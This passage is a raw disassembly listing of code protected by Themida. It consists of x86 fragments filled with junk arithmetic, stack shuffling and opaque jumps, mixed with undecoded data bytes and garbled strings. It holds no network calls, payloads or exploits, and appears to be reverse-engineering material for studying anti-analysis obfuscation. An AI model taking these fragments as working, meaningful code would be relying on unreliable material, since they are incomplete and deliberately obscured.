		mov	edi, edx
		pop	edx
		add	edx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_566973
; ---------------------------------------------------------------------------


loc_562716:				; CODE XREF: Themida_:00573418j
		push	dword ptr [esp]
		jmp	loc_57260C
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 74FF2414h, 8F5A0424h, 248B2404h, 94E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_562732:				; CODE XREF: Themida_:0056AA03j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_572C83
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 6Dh
		dd 2820C380h, 20EB80E3h, 0E924048Bh, 10F2Dh, 63BD5551h
		dd 0B949265Ch, 0FA7FFBA6h, 36E9E901h, 80000BEh,	24048BE1h
		dd 5004C483h, 4F25E9h
		db 0
; ---------------------------------------------------------------------------


loc_562775:				; CODE XREF: Themida_:0056FAB1j
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_57336D
; ---------------------------------------------------------------------------


loc_562780:				; CODE XREF: Themida_:00564EDBj
		push	509Bh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 20h
		push	ebx
		mov	ebx, 3DE865AAh
		add	edx, 77D22D1Bh
		add	edx, ebx
		sub	edx, 77D22D1Bh
		mov	ebx, [esp]
		add	esp, 4
		add	edx, edi
		sub	edx, 3DE865AAh
		add	[edx], eax
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56EDA4
; ---------------------------------------------------------------------------


loc_5627CE:				; CODE XREF: Themida_:00568F89j
		push	5DC3h
		mov	[esp], edi
		jmp	loc_566F52
; ---------------------------------------------------------------------------
		db 0C1h
		dd 505206EAh, 0D8F7585Ah, 241CE9h, 4C78100h, 0E9000000h
		dd 15B2h, 4C6815Eh, 83000000h, 348704C6h, 48F5C24h, 0F7665C24h
		dd 0F86866F1h, 1489667Ah, 0B22CE924h, 74FF0000h, 348B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 2434FF24h, 209CE9h
		dd 18E95900h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562837:				; CODE XREF: Themida_:0056E76Bj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	esi
		push	eax
		push	3C480B06h
		pop	eax
		inc	eax
		xor	eax, 0DBC149Dh
		mov	esi, eax
		pop	eax
		add	eax, 33654521h
		jmp	loc_564253
; ---------------------------------------------------------------------------
		db 89h
		dd 9EBB241Ch, 0E9B6B5C3h, 13FF7h
; ---------------------------------------------------------------------------


loc_562864:				; CODE XREF: Themida_:005721F3j
		xor	ecx, 1A5F7636h
		not	ecx
		dec	ecx
		and	ecx, 27484CE6h
		add	ecx, 0FCB7F320h
		jmp	loc_56EA6F
; ---------------------------------------------------------------------------


loc_56287E:				; CODE XREF: Themida_:0056C838j
		sub	ebx, 25922CE2h
		pop	edx
		add	ebx, edx
		add	dword ptr [ebx], 1
		pop	ebx
		pop	edx


loc_56288F:				; CODE XREF: Themida_:00574FB2j
		push	6178h
		mov	[esp], edx
		push	esi
		push	ebx
		jmp	loc_57244A
; ---------------------------------------------------------------------------


loc_56289E:				; CODE XREF: Themida_:00566E4Fj
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 79990074h
		push	esi
		mov	esi, 285D39A6h
		push	ebx
		mov	ebx, 50B57D71h
		add	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_5700D8
; ---------------------------------------------------------------------------


loc_5628D8:				; CODE XREF: Themida_:00569395j
		jmp	loc_561042
; ---------------------------------------------------------------------------
		db 50h,	81h, 34h
		dd 0A0284124h, 0FF35E908h, 5B660000h, 5B2434FFh, 56FCE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5628F6:				; CODE XREF: Themida_:0056A706j
		mov	ecx, 1EDA724Bh
		add	edx, ecx
		pop	ecx
		dec	edx
		push	esi
		mov	esi, 32375C29h
		or	edx, esi
		pop	esi
		sub	edx, 0E728C29Bh
		mov	ebx, edx
		pop	edx
		add	[esp+8], ebx
		pop	ebx
		jmp	loc_56E0AA
; ---------------------------------------------------------------------------
		db 81h
		dd 432A2BE9h, 88C18132h, 0E91AD15Bh, 742Bh
; ---------------------------------------------------------------------------


loc_56292C:				; CODE XREF: Themida_:00561691j
		push	6C6Eh
		jmp	loc_5709FC
; ---------------------------------------------------------------------------
		dw 6268h
		dd 0E9000015h, 0DBC3h, 0C6E9585Eh, 1000098h, 1613E9CAh
		dd 0ED810001h, 34E75DD5h, 0F706EDC1h, 627768D5h, 34890000h
		dd 39D16824h, 4890000h,	4A52B824h, 2EBE011Ah, 8102A91Ah
		dd 4D6DF6C6h, 81C60118h, 4D6DF6EEh, 0F5015818h,	140E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_562989:				; CODE XREF: Themida_:0056974Bj
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_574FCB
; ---------------------------------------------------------------------------
		db 56h
		dd 0CC03A4BEh, 0B6C68166h, 0E925CD5Bh, 0F6D8h, 0C67ED82Dh
		dd 5F02946h, 46C67ED8h,	8D02E95Eh, 14890000h, 0E95A5424h
		dd 1150Dh, 0C1C03540h, 0C2015FAAh, 4EA8358h, 5C241487h
		dd 57242489h, 0A8B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5629E1:				; CODE XREF: Themida_:0056E916j
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56EF91
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFE64DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5629F5:				; CODE XREF: Themida_:00571861j
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_56A9EB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E95002E7h, 0FFFFF5A0h, 0FFE61DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A25:				; CODE XREF: Themida_:00575186j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, 1BE70930h
		add	edx, ebx
		sub	edx, 1BE70930h
		mov	ebx, [esp]
		add	esp, 4
		add	edx, edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_568023
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
		dd 4EC8324h, 0B8240489h, 4, 48BC189h, 4C48124h,	0E9000000h
		dd 13D2Bh
; ---------------------------------------------------------------------------


loc_562A84:				; CODE XREF: Themida_:00567E85j
		inc	ebx
		and	ebx, 34544C64h
		xor	ebx, 2FA70133h
		neg	ebx
		xor	ebx, 8B26D873h
		xor	ecx, ebx
		pop	ebx
		push	edi
		mov	edi, 1E8D534Bh
		xor	ecx, edi
		pop	edi
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_574C86
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	3637h
		mov	[esp], ecx
		jmp	loc_56E2E3
; ---------------------------------------------------------------------------


loc_562ACC:				; CODE XREF: Themida_:00568C8Cj
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_561760
; ---------------------------------------------------------------------------
a11isw		db '1Ý[1ëéwÇ',0
		db 0
; ---------------------------------------------------------------------------


loc_562AE1:				; CODE XREF: Themida_:00574679j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		jmp	loc_569F43
; ---------------------------------------------------------------------------
		dw 0C15Dh
		dd 0EF8105E7h, 8053F6ACh, 0E95FF809h, 1D05h, 8324148Bh
		dd 835004C4h, 148904ECh, 4D9FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562B16:				; CODE XREF: Themida_:0056D74Ej
		add	esp, 4
		push	0C8Bh
		mov	[esp], edx
		jmp	loc_57098E
; ---------------------------------------------------------------------------
		dw 66ACh
		dd 28D9B551h, 0E95966E8h, 0FFFFEEB0h, 68241489h, 5D94h
		dd 53240C89h, 0D988E388h, 0FFEB4DE9h, 99C780FFh, 0E0A7E9h
		dd 1CEE8100h, 812FA374h, 8106F7EEh, 0C6814E3Fh,	0C6E548A2h
		dd 4FE9F129h, 81000014h, 666712C7h, 66E936h, 14870001h
		dd 7B685C24h, 89000005h, 0E189240Ch, 0C71CE9h
		db 0
; ---------------------------------------------------------------------------


loc_562B89:				; CODE XREF: Themida_:0056A298j
		mov	ebx, 4F90419Dh
		sub	eax, 0EE55D3Fh
		sub	eax, ebx
		jmp	loc_5741C6
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 0C1815904h, 4, 2BE56h, 0BE560000h, 5D2F2059h
		dd 348BF129h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 1FB85055h, 890E265Ch, 0C14D58C5h, 0FEE905EDh, 5200009Ah
		dd 44E9E289h, 590000C2h, 0FE05EFC0h, 9BB450C7h,	2858E730h
		dd 502C5BF8h, 3B1368h, 241C8900h, 641FE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562C06:				; CODE XREF: Themida_:0056FE31j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 40h
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 6
		jmp	loc_568F7A
; ---------------------------------------------------------------------------


loc_562C3A:				; CODE XREF: Themida_:00571549j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_5675B7
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0B1E07A7h, 13DFFE9h,	4EBC100h, 8305EBC1h, 0EB8101EBh
		dd 38B949D6h, 54C6BD55h, 0EB0930BFh, 76BE565Dh,	812E6934h
		dd 4A45B4F6h, 0F7D6F712h, 14F756DEh, 0CE815E24h, 249C4FFCh
		dd 0E593C681h, 0F331DF0Ah, 0D05FE9h, 0E95400h, 81000065h
		dd 4C3h, 4EC8300h, 8E9DE9h, 3C875E00h, 24248B24h, 68F9F766h
		dd 55D4h, 54242C89h, 5D2434FFh,	4C481h,	55570000h, 0C95F2868h
		dd 2434FF11h, 5D2434FFh, 4C481h, 0C4830000h, 24ED8104h
		dd 8911C95Fh, 677EE9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562CF2:				; CODE XREF: Themida_:00569151j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	esi
		jmp	loc_56EF4A
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 5A0E1083h
		and	edi, 0B7828CEh
		sub	edi, 0A08007Eh
		jmp	loc_573272
; ---------------------------------------------------------------------------
		dw 0FF5Dh
a4S		db '4$é¸ß',0
		dw 8900h
		dd 2988E9E7h, 4870001h,	2C895C24h, 4BD24h, 0E2E90000h
		dd 8300002Dh, 3CE904C4h, 0FF000044h, 51582434h,	2E9E189h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562D63:				; CODE XREF: Themida_:00571DDFj
		not	ecx
		jmp	loc_565672
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 4EC815Ch,	0E9000000h, 0C74Bh
; ---------------------------------------------------------------------------


loc_562D7C:				; CODE XREF: Themida_:005696EBj
		pop	esi
		push	edi
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esi
		mov	edi, ecx
		mov	ecx, [esp]
		push	ebx
		jmp	loc_564C90
; ---------------------------------------------------------------------------


loc_562DA4:				; CODE XREF: Themida_:00569800j
		pop	eax
		add	ebx, 0A967F7Bh
		push	ecx
		mov	ecx, 28804A63h
		sub	ebx, ecx
		pop	ecx
		sub	ebx, ecx
		add	ebx, 28804A63h
		push	esi
		mov	esi, 0A967F7Bh
		sub	ebx, 14E70696h
		jmp	loc_56E6EC
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 5
		dd 13EA925h, 0A62D5BD8h, 29725B3Bh, 0B85053D8h,	74DF39A3h
		dd 4802E0C1h, 0DD64342Dh, 60DC2508h, 0FEE92B3Bh
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562DF7:				; CODE XREF: Themida_:0056EB01j
		or	eax, eax
		jnz	loc_570D54
		push	eax
		mov	eax, 38964FA9h
		push	edi
		push	ebp
		mov	ebp, 1B7918EEh
		jmp	loc_56ED20
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 4Bh
		dd 8904EC83h, 6DE92434h
		db 4, 1, 0
; ---------------------------------------------------------------------------


loc_562E1F:				; CODE XREF: Themida_:0056C18Ej
		pop	eax
		pop	edx
		xor	edx, 0F21AB461h
		sub	ebx, 5E8F5F17h
		jmp	loc_5706AC
; ---------------------------------------------------------------------------


loc_562E32:				; CODE XREF: Themida_:0057697Bj
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0FFh
		sub	ah, cl
		pop	ecx
		shr	ah, 7
		shr	ah, 1
		xor	ah, 90h
		mov	dh, ah
		push	dword ptr [esp]
		jmp	loc_565908
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4EC8324h, 0FFEC76E9h, 56D787FFh, 0FFFFFFBEh,	0FFF701FFh
		dd 348B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h
		dd 1084Ah, 4C5815Dh, 83000000h,	2C8704EDh, 28E95C24h, 8F000101h
		dd 555C2404h, 5A55F589h, 9BE95E5Dh, 88FFFFE1h, 5BF988C7h
		dd 52665B58h, 0F10076B6h, 0E9805A66h, 53E980FFh, 40F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_562EC1:				; CODE XREF: Themida_:005667ABj
		mov	ebp, 7C916D97h
		jmp	loc_571462
; ---------------------------------------------------------------------------
		db 89h
		dd 0F2815DEAh, 3DAA64E0h, 685AD029h, 5C66h, 0B562E9h, 3EBC100h
		dd 5254B850h, 0A9E9149Fh
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562EEF:				; CODE XREF: Themida_:0056C67Fj
		push	4A9Ah
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		push	edx
		push	5CE44F1Eh
		pop	edx
		xor	edx, 1FA34A10h
		push	ecx
		jmp	loc_56A388
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 66h
		dd 2D66C801h, 8B666B90h, 0E953240Ch, 0DCF7h, 0FA685052h
		dd 0E95A4941h, 69F1h, 24048B66h, 5ACA68h, 24148900h, 8068E289h
		dd 0E9000028h, 116F7h, 0BD242C89h, 4, 34FF5B55h, 0C4815D24h
		dd 4, 35E2E9h, 2B900h, 0CB010000h, 46C6E959h, 0EC810000h
		dd 4, 89241C89h, 4C381E3h, 52000000h, 4BAh, 5AD30100h
		dd 0FB1BE9h, 8BD58900h,	0C4812414h, 4, 0EBF58159h, 1447B17h
		dd 6FB5E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562FA2:				; CODE XREF: Themida_:0056BC3Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_564A06
; ---------------------------------------------------------------------------


loc_562FC3:				; CODE XREF: Themida_:005766BFj
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 6284EC0h
		add	edx, esi
		pop	esi
		add	edx, 19A09D9h
		add	edx, ecx
		sub	edx, 19A09D9h
		push	edi
		mov	edi, 6284EC0h
		add	edx, 3E0A795Fh
		sub	edx, edi
		sub	edx, 3E0A795Fh
		pop	edi
		pop	ecx
		jmp	loc_5755A2
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 70A871A2h, 0C681DEF7h, 594A7964h, 0D6E9F589h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563013:				; CODE XREF: Themida_:0056B626j
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 398C58D7h
		jmp	loc_56FB02
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 0E9000000h, 24E2h,	4C381h,	0EB810000h, 4
		dd 5C241C87h, 68243C89h, 56FF435Eh, 0E9243C8Bh,	8D62h
		dd 0CDC781h, 9AE9775Ch,	89000113h, 0CEE92414h
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------


loc_563067:				; CODE XREF: Themida_:005691F4j
		mov	ebx, edx
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		push	1936h
		mov	[esp], edx
		push	61EBh
		mov	[esp], eax
		jmp	loc_57299D
; ---------------------------------------------------------------------------


loc_563088:				; CODE XREF: Themida_:00562005j
		xor	eax, 0F6DEC4A3h
		mov	edi, eax
		jmp	loc_57405F
; ---------------------------------------------------------------------------
		dd 0A23E953h, 1C890001h, 2474FF24h, 48F5B04h, 24248B24h
		dd 0E9E1F766h, 11D0Ah, 0F5BF5759h, 2935B767h, 779E9F8h
		dd 0E9550000h, 0AB93h
; ---------------------------------------------------------------------------


loc_5630C4:				; CODE XREF: Themida_:005687F0j
		sub	esi, edx
		jmp	loc_56FE14
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 330DE924h, 0EA680000h, 89000034h,	0B9512424h
		dd 4, 0ECC0E9h,	242C8900h, 4BDh, 5DEA0100h, 2B850h, 0EC810000h
		dd 4, 0BD242C89h, 251B7DEAh, 7EC5814Dh,	290F99E2h, 0E9575DEAh
		dd 14E4h, 8159CD09h, 0DC6A1CEDh, 43C38139h, 1786950h, 43EB81EBh
		dd 5D786950h, 4EC81h, 1C890000h, 2D34E924h, 34FF0000h
		dd 0E4F1E924h, 0D8280000h, 0C7045Bh, 66C72CF8h,	3BB753h
		dd 0F790E9F8h, 34FFFFFFh, 2434FF24h, 582434FFh,	8304C483h
		dd 895204C4h, 4C281E2h,	81000000h, 4EAh, 24148700h, 101E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_563181:				; CODE XREF: Themida_:00575DD6j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	5031h
		jmp	loc_565141
; ---------------------------------------------------------------------------
		db 89h
		dd 0CA68240Ch, 0E9000030h, 2336h, 89CB8953h, 34FF5BDDh
		dd 2434FF24h, 11449E9h,	81E28900h, 4C2h, 4C28100h, 87000000h
		dd 0E95C2414h, 7795h, 48BC229h,	0C490E924h, 0FF5A0000h
		dd 3C8B2434h, 4C48324h,	0F23BE951h, 66AC0000h, 32FFE953h
		dd 248B0000h, 24D36624h, 4BE99C24h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5631F7:				; CODE XREF: Themida_:00572BD7j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56DA79
; ---------------------------------------------------------------------------
		dw 0C789h
		dd 1102FE9h, 68585400h,	76F5h, 68240C89h, 3367h, 56240489h
		dd 0F53719BEh, 1EE94E06h, 0E9000103h, 0FFFFDE0Eh
; ---------------------------------------------------------------------------


loc_563234:				; CODE XREF: Themida_:00570CCDj
		add	esp, 4
		jmp	loc_564EEB
; ---------------------------------------------------------------------------


loc_56323C:				; CODE XREF: Themida_:005682FCj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_567738
; ---------------------------------------------------------------------------
		dd 0FE5BDE88h, 75EE80C6h, 80B7C680h, 0C68023F6h, 0DDF68001h
		dd 0FEEBF680h, 0CAB753C6h, 0E7C0C7FEh, 19C78007h, 764BE9h
		dd 5E6C100h, 0E05AC681h, 0F089286Dh, 0C189515Eh, 5859CF89h
		dd 2528E9h, 24348700h, 2424895Ch, 4240481h, 0FF000000h
		dd 2C8B2434h, 4C48324h,	4C481h,	0C5810000h, 4, 2DE06850h
		dd 3DE90000h, 890000FCh, 0EC832434h, 24148904h,	327928BAh
		dd 0F7E95750h
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5632CF:				; CODE XREF: Themida_:005740F2j
		not	dword ptr [esp]
		pop	edi
		jmp	loc_56BD33
; ---------------------------------------------------------------------------


loc_5632D8:				; CODE XREF: Themida_:0056FC79j
		or	edi, 72970BB2h
		xor	edi, 7BBF39FAh
		jmp	loc_575BF7
; ---------------------------------------------------------------------------
aM0SK		db '¬0ØéΪ',0
		dd 28BB6800h, 4890000h,	5D545524h, 4C581h, 0ED810000h
		dd 4, 0E9242C87h, 0FC72h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 34895C24h, 7E685224h, 5A68222Fh, 0CB685750h,	8B1DB740h
		dd 0DCE9243Ch, 1000006h, 0AAEE81D6h, 0FF2D0549h, 835A2434h
		dd 7A6804C4h, 0E9000054h, 0A216h, 0E92C77FFh, 0FFFFDCE6h
		dd 0F2B551h, 0AEE959E8h, 870000E8h, 95E9242Ch, 0BE0000BFh
		dd 4, 348BF701h, 4C48124h, 81000000h, 4C7h, 243C8700h
		dd 8BCA895Ch, 0EC81240Ch, 4, 54243489h,	4B8505Eh, 1000000h
		dd 0C68158C6h, 4, 0E9243487h, 22EFh, 1BF2814Ah,	1238000h
		dd 0EC815AD7h, 4, 68242C89h, 4,	7489E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5633CE:				; CODE XREF: Themida_:0056FD0Cj
		push	ebx
		push	31F41F9Ah
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	1A86h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_5650E3
; ---------------------------------------------------------------------------
a_hdu		db '_h¤U',0
		align 2
aSai		db '逛',0
		dw 8900h
		dd 0A2B7E9FEh, 3EB90000h, 0F737AE3Dh, 162FE9D1h, 0CF890001h
		dd 4DE95D57h, 68000087h, 71B609FDh, 58C30958h, 0FFDE20E9h
		dd 245401FFh, 0FD9CE908h, 0C781FFFFh, 0EAF61FC3h, 0E95FFD89h
		dd 0DC1h, 5BBB951h, 0D9F769B1h,	13ABC181h, 0D1F77EA8h
		dd 7455E981h, 0C1815E8Ch, 7383824Ah, 7D24C681h,	0C6812646h
		dd 2FBC0268h, 0EE81CE01h, 2FBC0268h, 7D24EE81h,	81592646h
		dd 4ECh, 24148900h, 4BAh, 5AD62900h, 8B243487h,	1C892424h
		dd 2474FF24h, 241C8B04h, 0E0F2E9h, 2434FF00h, 4C4815Dh
		dd 0E9000000h, 4420h, 0E904C483h, 0A52Fh, 0BE243489h, 0EDBAC1D9h
		dd 4A89B951h, 0CD0114B6h, 56F50159h, 0F2421CBEh, 1DF68129h
		dd 815DCB78h, 8F7088F6h, 8EBBE960h, 370D0000h, 0E9458978h
		dd 8628h, 271E281h, 0E2C17DC1h,	1AF28107h, 57450771h, 8E475DBFh
		dd 0BF57510Fh, 3157450Ch, 3C8BF989h, 4C48124h, 0E9000000h
		dd 9CCEh, 0AFE9F32Ch
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56351F:				; CODE XREF: Themida_:005696BAj
		push	2981h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_576265
; ---------------------------------------------------------------------------
		dd 52242C89h, 1994E9h
		db 0
; ---------------------------------------------------------------------------


loc_563539:				; CODE XREF: Themida_:00561453j
		add	esp, 4
		jmp	loc_561042
; ---------------------------------------------------------------------------


loc_563544:				; CODE XREF: Themida_:00572CC3j
		xor	ah, bl
		pop	bx
		push	ebx
		mov	bl, ah
		mov	cl, bl
		pop	ebx
		jmp	loc_56E20E
; ---------------------------------------------------------------------------
		db 0BBh
		dd 57EF366Ah, 0E3C1DBF7h, 1A56E903h, 1E680000h,	8900005Bh
		dd 58542404h, 405h, 40500h, 0DAE90000h,	0C100003Dh, 673506E8h
		dd 29000DF5h, 2434FFC3h, 4C48358h, 0FFDAB1E9h, 4C483FFh
		dd 3302EB83h, 24E9241Ch
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56359F:				; CODE XREF: Themida_:00571DC1j
		pop	eax
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_576121
; ---------------------------------------------------------------------------
aAAai		db '€Ãa€ë`',0
		db 0C3h, 80h, 0C3h
		dd 98B15160h, 0D986C9FEh, 823EE9h, 0BEB95100h, 81258A53h
		dd 0CC7D5BE9h, 6E1C12Ah, 19E98141h, 0E926DB39h,	0AA05h
; ---------------------------------------------------------------------------


loc_5635E8:				; CODE XREF: Themida_:0056D23Dj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, al
		push	edx
		push	ecx
		mov	cl, bh
		mov	dh, cl
		pop	ecx
		push	ebx
		mov	bl, dh
		push	edx
		mov	dl, bl
		mov	ch, dl
		jmp	loc_562692
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 0Ch
		dd 87CBB924h, 0CE0111FFh, 87C58159h, 110E040h, 4DB951F5h
		dd 0E905C51Fh, 0CBADh, 4BF57h, 0F9010000h, 4C1835Fh, 5C240C87h
		dd 40D7EF81h, 52563EC0h, 685F5068h, 94E95A2Bh, 81FFFFF1h
		dd 4E9h, 240C8700h, 102ADE9h, 5EF53100h, 1F42E981h, 0E9016908h
		dd 8859E9h, 65EE8100h, 8140B805h, 0E2711FEEh, 81EE015Eh
		dd 0E2711FC6h, 65C6815Eh, 0FF40B805h, 835D2434h, 756804C4h
		dd 89000036h, 73E92434h, 0FF0000F8h, 83582434h,	33E904C4h
		dd 5C00002Ah, 5C240C87h, 0FF2434FFh, 68592434h,	783Ch
		dd 89243489h, 7075E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5636BA:				; CODE XREF: Themida_:00562456j
		push	esp
		jmp	loc_571C5A
; ---------------------------------------------------------------------------


loc_5636C0:				; CODE XREF: Themida_:005641E4j
		pop	esi
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	106h
		jmp	loc_569E05
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 78D1BD24h, 6C816B86h, 21F40424h, 6C01777Dh, 44810424h
		dd 21F40424h, 2C8B777Dh, 4C48324h, 0FFEE8AE9h, 8DBD55FFh
		dd 0E9406123h, 0BAE9h
; ---------------------------------------------------------------------------


loc_563704:				; CODE XREF: Themida_:0056EEE5j
		mov	edx, eax
		pop	eax
		jmp	loc_56956E
; ---------------------------------------------------------------------------


loc_56370C:				; CODE XREF: Themida_:0056F7E8j
		shr	edx, 4
		add	edx, 1
		shr	edx, 3
		push	ebp
		mov	ebp, 53633AFBh
		not	ebp
		inc	ebp
		push	ecx
		mov	ecx, 5D707A8Ch
		add	ecx, 4CFB1A1Dh
		jmp	loc_570FC6
; ---------------------------------------------------------------------------
aZSbf		db '‡,$éF',0
		align 2
		dw 0EE81h
		dd 0B4BDB6FFh, 0B5E9F029h, 52000097h, 0A89BD55h, 3CBA26FAh
		dd 1E3AAD9h, 0D7315DEAh, 0F8B9515Ah, 815F6004h,	0F09958E9h
		dd 25FAE9E4h, 248B0000h, 24040124h, 0D8CCE99Ch,	0BE56FFFFh
		dd 2DE755A0h, 8895E9h, 4C48100h, 8F000000h, 248B2404h
		dd 0EA8AE924h, 0C481FFFFh, 4, 0D579312Dh, 0E9F0290Ch, 309Ch
		dd 66451CBAh, 8F2815Eh,	0E92F7049h, 0AFF4h, 0DC33E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5637BA:				; CODE XREF: Themida_:0056A0ACj
		push	esi
		mov	esi, 5A4E4402h
		sub	edx, esi
		pop	esi
		add	edx, edi
		add	edx, 5A4E4402h
		jmp	loc_56B3B6
; ---------------------------------------------------------------------------
		dd 0B2ADC781h, 0F8317BF4h, 3295355Fh, 0D635330Fh, 255E790Fh
		dd 7CBA424Fh, 6D2F5605h, 58C3890Ah, 0A2F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5637F5:				; CODE XREF: Themida_:0056813Aj
		mov	ecx, 4791DE58h
		jmp	loc_574142
; ---------------------------------------------------------------------------


loc_5637FF:				; CODE XREF: Themida_:005739E9j
		shr	eax, 8
		shr	eax, 6
		jmp	loc_56D3DE
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 29665C24h, 0E99C2404h, 0FFFFD82Ah, 5107E954h, 0C0590000h
		dd 0B55105E7h, 0C0C5FE68h, 0ED8006EDh, 59EF2806h, 0A1E9C7FEh
		dd 5F000088h, 0F5259505h, 16EBE935h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563842:				; CODE XREF: Themida_:00575793j
		push	3D94h
		jmp	loc_571D18
; ---------------------------------------------------------------------------
